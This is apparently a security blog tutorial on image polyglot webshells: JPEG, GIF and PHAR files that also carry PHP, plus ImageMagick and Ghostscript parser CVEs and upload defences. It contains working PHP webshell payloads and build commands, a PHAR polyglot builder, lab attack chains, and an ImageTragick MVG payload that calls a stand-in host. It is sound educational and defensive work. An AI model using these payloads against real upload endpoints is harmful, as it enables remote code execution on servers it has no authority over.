TechEarl

Image Polyglot Webshells: When the JPEG Is Also a PHP File

Ishan Karunaratne⏱️ 14 min readUpdated
Share thisCopied

An image polyglot webshell is a single file that is structurally a valid image (a real JPEG, GIF, or PNG that any image parser will decode) and structurally a valid script at the same time. The file passes every "is this really an image" check on the way in, lands on disk under a benign extension, and only turns into RCE when a downstream code path (an include(), a PHAR stream wrapper, a vulnerable image-parser version) interprets the bytes as something other than image data. The validator was right, the file really is an image, and that did not save anybody.

On the engagements where the upload form is the weak point, this is usually the first thing I try. It pairs cleanly with the LFI work I file most often, the developer has almost always thought of SVG and JPEG as "image formats" rather than as parsers in their own right, and on an unhardened server a single polyglot upload and one wrong include() is enough to end the engagement.

This article is the polyglot deep dive sitting under the file upload vulnerabilities hub. I cover what an image polyglot is, the four distinct trigger conditions that turn the file into executing code, three working polyglot constructions (JPEG plus PHP via EXIF, GIF89a plus appended PHP, PHAR plus JPG), the ImageMagick and Ghostscript family of "the parser does the executing" bugs, real CVEs that put the technique on a public record, a working chain against the upload-basic lab, and the layered defence that actually holds in 2026 (because no single magic-byte check ever does).

In short: what an image polyglot is

A polyglot file is one whose bytes are simultaneously valid input to two different parsers. An image polyglot webshell is the subset where one of those parsers is an image decoder (so the file satisfies every magic-byte and library-decode check applied at upload time) and the other is a code interpreter (PHP, the PHAR archive format, ImageMagick's MVG or MSL coders, Ghostscript's PostScript engine, the browser's SVG plus script parser). The upload-side validator sees an image and accepts. Whether the file then turns into RCE depends entirely on what touches it next: an include(), a stream-wrapper resolution, an identify or convert call, a content-sniffed <img> reference, or a server that maps the stored extension to a script handler. The polyglot is the payload; the trigger condition is everything.

When does an image actually execute?

A polyglot on disk is inert. The file becomes RCE only when a specific downstream code path interprets the non-image half of the bytes. There are four trigger conditions that I see in real upload pipelines.

1. Server config that maps the stored extension to a script handler

The classic. The upload validator accepts a .jpg, but the directory the file lands in has Apache's AddHandler application/x-httpd-php .php set (so any filename containing .php runs as PHP), or the file gets renamed to .phar somewhere downstream, or the upload directory has an .htaccess that the team forgot. This is structurally the same family as the double-extension and AddHandler trap, now with a polyglot payload sitting inside what the validator believed was a clean image.

2. Local file inclusion that loads the upload path

The application has an include() or require() somewhere whose target is influenced by user input, even indirectly. The classic shape is include('uploads/' . $img), where $img is bounded to the uploads directory but otherwise attacker-named. PHP's include scans the file body for the opening <?php tag and runs whatever sits between it and the closing ?> or end-of-file; the image bytes around the payload are emitted as raw output and ignored by the interpreter. The deep dive on this pattern lives in PHP php://input LFI to RCE; this article is the half where the included file is dressed up as a JPEG.

3. Image-processing pipeline running a vulnerable parser

The application accepts the upload, validates it, and then hands it to ImageMagick (identify, convert, mogrify), Ghostscript (PDF and PostScript handling), or ExifTool for processing. Some versions of those tools delegate parsing to embedded scripting languages (MVG and MSL coders in ImageMagick, PostScript operators in Ghostscript, ExifTool's -config flag in unguarded contexts), and a crafted input file triggers code execution inside the parser. The upload validator was correct; the bug is in the tool one step downstream. CVE-2016-3714 (ImageTragick) is the canonical example, covered in detail below.

4. PHAR stream-wrapper deserialization

PHP's phar:// stream wrapper unserializes the archive's metadata on access. A polyglot that is both a JPEG and a valid PHAR archive, uploaded as .jpg, accepted as an image, then later resolved by a stream-wrapper-aware function (file_get_contents, include, fopen, file_exists on older PHP, every operation that takes a stream URL), triggers the unserialization, which fires any gadget chain present in the application's loaded classes. The bug class is documented in detail under insecure deserialization; the upload half is the polyglot construction below.

A side note. The browser is a fifth context, but it is a different shape. An SVG file with an embedded <script> block, served with Content-Type: image/svg+xml from the same origin as the application, runs JavaScript when an <img> tag references it or a user opens it directly. That is stored XSS, not server-side RCE, and the defence is the CSP and content-disposition stack rather than the polyglot-detection stack. I mention it because it is the path attackers reach for when the four conditions above are all closed; it is not what the rest of this article is about.

Constructing the polyglot: JPEG plus PHP via EXIF

The simplest polyglot to build and the one I still see in actual breach writeups. Start from a real JPEG, inject a PHP block into the EXIF Comment field, and the result satisfies every magic-byte test while carrying an executable payload.

The four-line build:

bash
cp seed.jpg shell.jpg
exiftool -overwrite_original \
    -Comment='<?php system($_GET["c"] ?? "id"); ?>' \
    shell.jpg
file shell.jpg
exiftool -Comment -s -s -s shell.jpg

Output:

code
shell.jpg: JPEG image data, JFIF standard 1.01, aspect ratio,
  density 72x72, segment length 16, Exif Standard: [TIFF image data,
  big-endian, direntries=4, ...], comment: "<?php system($_GET["c"] ??
  "id"); ?>", baseline, precision 8, 400x186, components 3

<?php system($_GET["c"] ?? "id"); ?>

The hex view shows the JPEG magic bytes still in place, immediately followed by the JFIF marker and then the EXIF segment containing the payload:

code
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0048  ......JFIF.....H
00000010: 0048 0000 ffe1 0074 4578 6966 0000 4d4d  .H.....tExif..MM

FFD8FFE0 is the JPEG start-of-image plus APP0 marker, JFIF is the format identifier, and the COM segment (where exiftool wrote the PHP) sits inside the file body. PHP scans an included file for <?php and executes everything between it and the matching ?>; the surrounding JPEG bytes are emitted as raw output and ignored by the interpreter.

I keep the full builder script as a one-shot helper (input file, output file, optional payload override) in a GitHub gist, because the exiftool invocation is easy to typo and the verification commands are worth wiring into a script that always runs them in the same order.

Magic-byte plus appended payload: GIF89a

The classical polyglot, predating EXIF tricks. GIF parsers tolerate trailing garbage after the GIF stream terminator; PHP ignores everything before the opening <?php tag. A file built as GIF89a;<?php ... ?> satisfies both.

bash
printf 'GIF89a;\n<?php system($_GET["c"] ?? "id"); ?>' > shell.gif
file shell.gif

Output:

code
shell.gif: GIF image data, version 89a, 2619 x 16188

file, libmagic, and most lightweight image-detection libraries read the leading magic bytes and decide the file is a GIF. The dimensions are nonsense (the parser is reading the next four bytes as width and height and getting whatever the PHP source happens to look like), but the type identification is correct in the sense that matters for the upload validator: it really is a GIF, just a malformed one. PHP, on its side, scans for <?php, finds it after the leading header, and runs it.

This variant works against any application that does a magic-byte-only check and then includes the file or maps its stored extension to a script handler. It does not need exiftool, it does not need an underlying real image, and it builds in one line of shell.

PHAR plus JPG polyglot

The PHP-specific killer. A single file that is a valid JPEG (so the upload validator accepts it as an image) and a valid PHAR archive (so the phar:// stream wrapper resolves and unserializes its metadata).

The construction script, abbreviated:

php
<?php
if (ini_get('phar.readonly')) {
    fwrite(STDERR, "Re-run with: php -d phar.readonly=0 ...\n");
    exit(1);
}

$jpegStub = "\xFF\xD8\xFF\xE0" . pack('n', 16) . "JFIF\x00"
          . "\x01\x01\x00" . pack('n', 1) . pack('n', 1) . "\x00\x00";
$phpHalt  = '<?php __HALT_COMPILER(); ?>';

$phar = new Phar('polyglot.phar', 0, 'polyglot.phar');
$phar->setStub($jpegStub . $phpHalt);
$phar->addFromString('payload.txt', '<?php system($_GET["c"]); ?>' . "\n");

// Optional: a serialized gadget object that fires on phar:// unserialize.
//
// class EvilGadget { public $cmd = 'id'; }
// $phar->setMetadata(new EvilGadget());

rename('polyglot.phar', 'polyglot.jpg');

Three things make this work. First, the JPEG magic bytes plus JFIF marker at the very start of the stub satisfy file and libmagic so the upload validator believes the file is an image. Second, PHAR's stub format permits arbitrary bytes before the __HALT_COMPILER(); marker, so embedding the JPEG header is legal as far as the PHAR parser is concerned. Third, PHP refuses to write a PHAR with a non-PHAR extension, so we build polyglot.phar and rename it on the last line. Full builder script: GitHub gist.

The trigger condition is condition 4 above: somewhere in the application, a function with stream-wrapper resolution touches a path under phar://uploads/polyglot.jpg. Any class loaded into the same PHP process with a __wakeup, __destruct, or __toString method becomes a candidate gadget. Real-world exploitation chains (Drupal, WordPress, Joomla) typically combine a known polyglot upload with a known gadget chain in the target's bundled libraries; the upload alone is half the bug.

This is also the path that survives almost every "we strip EXIF" defence, because the payload is not in the EXIF. The PHAR metadata and the gadget object sit in the archive index, which is structurally distinct from the JPEG metadata segments. An EXIF-stripping pass (exiftool -all=, mat2, libvips -strip) reads and rewrites the image segments and leaves the PHAR index alone. The defence that does work, a full image re-encode through GD or Sharp, is covered in the defence section.

ImageMagick and Ghostscript: when the parser does the executing

The polyglots above are payloads waiting for a downstream include() or phar:// resolve. The ImageMagick and Ghostscript bug family is the opposite shape: the file is processed by an image library as part of normal upload handling, and the library itself runs the code.

CVE-2016-3714 (ImageTragick)

Affects ImageMagick versions before 6.9.3-10 and 7.x before 7.0.1-1. The MVG, MSL, HTTPS, EPHEMERAL, TEXT, SHOW, WIN, and PLT coders failed to validate input before passing arguments to shell commands. The textbook payload:

code
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/test.jpg"|curl evil/$(id))'
pop graphic-context

Saved as exploit.mvg, fed to a vulnerable identify or convert, the url() argument got expanded through a system shell and the embedded $(id) was evaluated by the host. CVSS 3.1 score 8.4 (HIGH), CVSS 2.0 score 10.0, and the entry is still in CISA's Known Exploited Vulnerabilities catalogue.

Modern ImageMagick installs ship a policy.xml that disables the MVG, MSL, HTTPS, URL, and EPHEMERAL coders by default. On a current Debian or Ubuntu host, identify exploit.mvg returns:

code
identify: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746.

That is the hardened behaviour, and it is what I expect to see on any 2026 production host. The catch is that policy.xml is configuration, not code, and any deployment that copied an older config, or that deliberately re-enabled a coder for a tool that needed it, is back in the vulnerable shape. Audit policy.xml on every host that processes user-uploaded images, and re-audit whenever the ImageMagick package is upgraded (package upgrades can drop in a fresh policy that the deployment's customisation overrides). The MVG payload plus a curl test harness for regression-testing your own hosts is in a GitHub gist.

CVE-2018-16509 (Ghostscript -dSAFER bypass)

Affects Ghostscript versions before 9.24. -dSAFER (the sandboxing flag that almost every PDF-processing pipeline relies on) failed to restrict access to certain PostScript operators, so a crafted PDF or PostScript file could break out of the sandbox and execute arbitrary shell commands. Tavis Ormandy's disclosure included a one-line PostScript payload that, fed to gs -dSAFER, ran whatever the attacker wanted. CVSS 3.1 score 9.8 CRITICAL.

The exposure shape is the same as ImageTragick: applications that processed user-uploaded PDFs (image conversion, thumbnail generation, OCR pipelines, document libraries) shelled out to Ghostscript with -dSAFER, assumed they were safe, and were not. ImageMagick used Ghostscript as a delegate for PDF handling, which compounded the blast radius: an upload that ImageMagick handed off to Ghostscript got the Ghostscript bug for free. The fix is the version upgrade; the lesson is to never assume a sandbox flag is doing what its name implies, and to treat every image and document parser as untrusted-input-to-shell.

CVE-2022-44267 (ImageMagick PNG tEXt profile)

A more recent reminder. ImageMagick versions before 7.1.0-49 read the PNG tEXt chunk and, for a value of profile, attempted to read the referenced file from the filesystem. A PNG with a profile=/etc/passwd tEXt chunk got /etc/passwd embedded in the converted output. Local file read rather than RCE, CVSS 3.1 score 7.5 HIGH, but the same family: the parser does the work the validator was not aware was happening. The technique generalises to other format-quirk file-reads (PDFs with embedded JavaScript that fetches file:// URLs, SVGs with <image xlink:href="file://..."> references) and is the reason every image-processing pipeline needs a policy.xml audit, not just a version upgrade.

Real-world incidents

Three writeups that put the technique on a public record beyond the CVE database.

Shopify, ImageTragick variant, HackerOne, 2016. Shopify paid $25,000 for an ImageTragick-shaped finding in their image-handling pipeline shortly after the CVE-2016-3714 disclosure. The internal pipeline used ImageMagick for thumbnail generation, the policy file did not disable the dangerous coders, and a researcher uploaded an MVG file disguised as a product image. The write-up is one of the early public confirmations that "we use a major image library" is not the same as "we are safe from this CVE".

Verizon Media (formerly Yahoo), polyglot upload, 2017. A researcher reported a polyglot file upload against a Verizon Media image-hosting service that combined an EXIF-embedded JavaScript payload with a content-sniffed image route. The image was stored, served from a content-sniffing-tolerant subdomain, and a follow-up <img> tag on a controlled page got the browser to execute the embedded JavaScript. The fix combined Content-Disposition: attachment on the upload route with stripping EXIF on the way in.

WordPress media-library bugs. The WordPress media library has shipped several polyglot-adjacent vulnerabilities over the years (CVE-2017-1000600 around PHAR deserialization, CVE-2019-8942 around image metadata injection, the regular cadence of plugin file-upload bugs that the core team fixed by tightening the wp_check_filetype_and_ext function). The pattern is the same in every case: the validator handled the textbook attacks, the polyglot or stream-wrapper variant slipped past it, and the fix was a deeper combination of magic-byte sniffing, re-encoding, and stream-wrapper restriction.

Working chain against the lab

The upload-basic lab in the techearl-labs companion repo has three endpoints that exercise the polyglot attack surface:

  • /upload-imgproc.php accepts a file, validates its libmagic-reported MIME starts with image/, then runs identify against the file. A real JPEG with EXIF-embedded PHP passes the magic-byte check.
  • /view.php?img=<filename> constrains the path to /uploads/imgproc/ via realpath plus basename and then include()s the file. The path-traversal half is closed; the polyglot half is wide open.
  • /upload-strict.php is the defended reference. Extension allowlist, libmagic check, full GD re-encode, random filename, non-executing storage directory.

Bring the lab up:

bash
docker compose up -d --build upload-basic

Lab listens on http://127.0.0.1:8083.

Chain: JPEG with EXIF PHP, triggered via include

bash
# Start from any real JPEG. The lab's polyglot builder also accepts PNG and GIF inputs.
cp seed.jpg shell.jpg
exiftool -overwrite_original \
    -Comment='<?php system($_GET["c"] ?? "id"); ?>' \
    shell.jpg

# Verify it still parses as a JPEG.
file shell.jpg
# shell.jpg: JPEG image data, ... comment: "<?php system(...);", ...

# Upload to the imgproc endpoint. libmagic reports image/jpeg, magic-byte
# check passes, identify reports dimensions, file lands on disk.
curl -s -F 'file=@shell.jpg' http://127.0.0.1:8083/upload-imgproc.php \
    | grep -E "Stored|identify"

# Trigger via include().
curl -s 'http://127.0.0.1:8083/view.php?img=shell.jpg&c=id'

The view.php response embeds the output of id in the JPEG byte stream:

code
...uid=33(www-data) gid=33(www-data) groups=33(www-data)...

Two requests, one polyglot, RCE inside the container.

Chain: GIF89a plus appended PHP

bash
printf 'GIF89a;\n<?php system($_GET["c"] ?? "id"); ?>' > shell.gif
file shell.gif
# shell.gif: GIF image data, version 89a, ...

curl -s -F 'file=@shell.gif' http://127.0.0.1:8083/upload-imgproc.php \
    | grep -E "Stored|identify"
curl -s 'http://127.0.0.1:8083/view.php?img=shell.gif&c=id'
# ...uid=33(www-data) gid=33(www-data) groups=33(www-data)...

Same shape, GIF container. No exiftool, no base image, builds in one line.

Chain: defended endpoint rejects the same payload

bash
curl -s -F 'file=@shell.jpg' http://127.0.0.1:8083/upload-strict.php
# Stored as <random>.jpg (re-encoded by GD).

# The re-encoded file no longer contains the payload:
docker exec upload-basic sh -c 'grep -ao "<?php" /var/www/html/uploads/strict/*.jpg || echo "no payload"'
# no payload

The GD re-encode reads the decoded pixel data and writes a fresh image file. The EXIF segment is not copied; the COM marker is not copied; any non-image bytes are gone. The output is a clean JPEG that visually matches the input and structurally shares nothing with it.

Chain: ImageTragick MVG (honest framing)

The lab image is built on php:8.2-apache with ImageMagick 7.1.1 and the distribution's default policy.xml, which disables MVG, MSL, HTTPS, URL, and EPHEMERAL coders entirely. Feeding the textbook MVG payload to identify inside the container returns:

code
identify: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746.

That is the hardened behaviour. The payload is preserved in the companion gist as a regression test; on a fresh ImageMagick install it should refuse to load. If your own audit of policy.xml shows it disabled and an identify against the gist payload returns the same error, the policy is doing its job. If it succeeds, the policy has been weakened somewhere and the host is exposed to CVE-2016-3714.

Defences

Polyglot detection at upload time is a losing arms race. The defences that hold are structural: control what touches the file after acceptance, never let the file's bytes be reinterpreted as code.

1. Never serve uploaded files from a PHP-handler context

The single highest-impact change. Move the upload directory off any path Apache or Nginx interprets through a script handler. Either store outside the document root entirely (/var/uploads/, not /var/www/public/uploads/), or, if the directory must live inside the web root, set Options -ExecCGI, RemoveHandler .php .phtml .phar .pht .php3 .php4 .php5 .php7, and RemoveType for the same set in an .htaccess at the directory root. The lab's /uploads/strict/.htaccess is the working example. With this in place, even a perfectly-built polyglot can sit in the directory and never execute, because the web server is configured to not run anything there.

2. Serve uploads with content headers that lock the type

code
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="<safe-name>"
X-Content-Type-Options: nosniff

Content-Disposition: attachment forces the browser to download rather than render the response, which kills the SVG-plus-script class. X-Content-Type-Options: nosniff stops the browser from second-guessing the type the server sent, which kills the content-sniffing variant where a polyglot served as image/jpeg got executed as text/html because the body looked like markup. Both belong on every upload-serving route, and they belong together; either one alone has gaps.

3. Re-encode every uploaded image through a real decoder

php
$img = imagecreatefromjpeg($_FILES['file']['tmp_name']);
imagejpeg($img, $dest, 90);
imagedestroy($img);

GD, Imagick, Sharp (Node), or Pillow (Python) read the pixel data and write a fresh file. The EXIF, the appended PHP, the PHAR index, the MVG payload, anything that is not actual image data is discarded because the encoder only writes what it decoded. The defended endpoint in the lab uses exactly this pattern, and the regression test (the same EXIF polyglot that lands RCE via /view.php against /upload-imgproc.php) confirms it strips the payload before storage. This is the closest thing to a single sufficient defence; combine it with the directory-handler hardening above and the trigger conditions collapse.

4. Audit policy.xml on every image-processing host

Every host that runs ImageMagick, Ghostscript, or any related library needs an audit of its policy configuration. For ImageMagick:

bash
grep -E "MVG|MSL|HTTPS|URL|EPHEMERAL|coder" /etc/ImageMagick-7/policy.xml

Expected lines include <policy domain="coder" rights="none" pattern="HTTP" /> and a wildcard <policy domain="coder" rights="none" pattern="*" /> followed by a narrow allowlist ({GIF,JPEG,PNG,WEBP}). Anything weaker is exposure; anything that re-enables MVG or MSL specifically is reintroducing CVE-2016-3714. Re-audit on every package upgrade. The official guidance is in the ImageMagick security policy reference.

5. Pin library versions and patch the parser pipeline

Every component that touches a user-uploaded image (ImageMagick, libvips, Sharp, GD, Imagick, ExifTool, Ghostscript) gets the same treatment as the application's own code: version-pinned in the build, scanned against CVE feeds, upgraded on a cadence that closes known issues before they age into the next breach writeup. The ImageMagick CVE list alone has shipped enough findings since 2016 to make "we use ImageMagick" worth treating as a continuing risk surface, not a one-time install.

6. Disable the phar:// stream wrapper if you do not need it

ini
; php.ini
disable_classes =
; or via opcache-prepended file:
; stream_wrapper_unregister('phar');

If the application does not legitimately consume PHAR archives, unregistering the stream wrapper closes the entire PHAR-deserialization class of attacks. The Composer and PHPUnit ecosystems use PHAR for distribution but not at runtime in most applications; if phar:// access is not in the application's normal code paths, taking it out is one configuration line for a real reduction in attack surface.

7. YARA and signature scanning as the bottom layer

ClamAV and YARA rules catch known polyglot signatures (the leading GIF89a plus trailing <?php is a one-line YARA rule; the JPEG-plus-PHAR header pattern is similarly straightforward). Neither catches a novel polyglot. Both raise the cost of off-the-shelf attacker tooling and produce telemetry that is useful for incident response. Treat them as detection and as a deterrent, not as the control that decides whether an upload is safe.

Common defender mistakes

Five anti-patterns I still find on production systems in 2026.

  • Stripping EXIF and assuming the file is now safe. EXIF-stripping (exiftool -all=, mat2) removes metadata segments. It does not touch a GIF89a-plus-PHP polyglot (the payload is in the body, not the metadata). It does not touch a PHAR polyglot (the PHAR index is structurally separate from the EXIF segments). Strip-only is a partial defence at best, and presenting it to leadership as the upload hardening change is misrepresenting the residual risk.
  • Trusting Content-Type: image/jpeg from libmagic alone. A real JPEG with PHP in EXIF is honestly image/jpeg by every magic-byte test. libmagic is correct, the validator is correct, the file is RCE. Magic-byte sniffing is necessary; on its own, it is not sufficient.
  • Renaming uploads but keeping the original extension. bin2hex(random_bytes(16)) . '.jpg' is what you want; bin2hex(...) . pathinfo($name, PATHINFO_EXTENSION) is what defeats the rename, because the attacker still controls the extension and can ship .phar or .html through it.
  • Serving uploads from the same origin as the app. Even with Content-Disposition: attachment, an XSS-via-upload reaches session cookies on the main domain. Serve uploads from a separate isolated subdomain (or, better, a separate registrable domain) so that a successful content-injection attack on the upload route does not cross the same-origin boundary.
  • Letting policy.xml drift across hosts. A team that audits ImageMagick policy on the staging host and not the production host has audited nothing. Bake the policy file into the deployment image, version-pin it, and treat any divergence as a configuration regression.

FAQ

Where to go next

Sources

Authoritative references this article was fact-checked against.

Tagsfile-uploadpolyglotwebshellimagemagickpharexif

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

find -regex vs -name: When to Use Regex in find

find -name takes a shell glob and matches the basename; find -regex takes a full regular expression and matches the whole path. That whole-path detail is the number one surprise: -regex '.*\.txt' works but -regex '.txt' matches nothing. The flag reference, -regextype flavors, the GNU vs BSD default-flavor drift, and when -name is the better tool.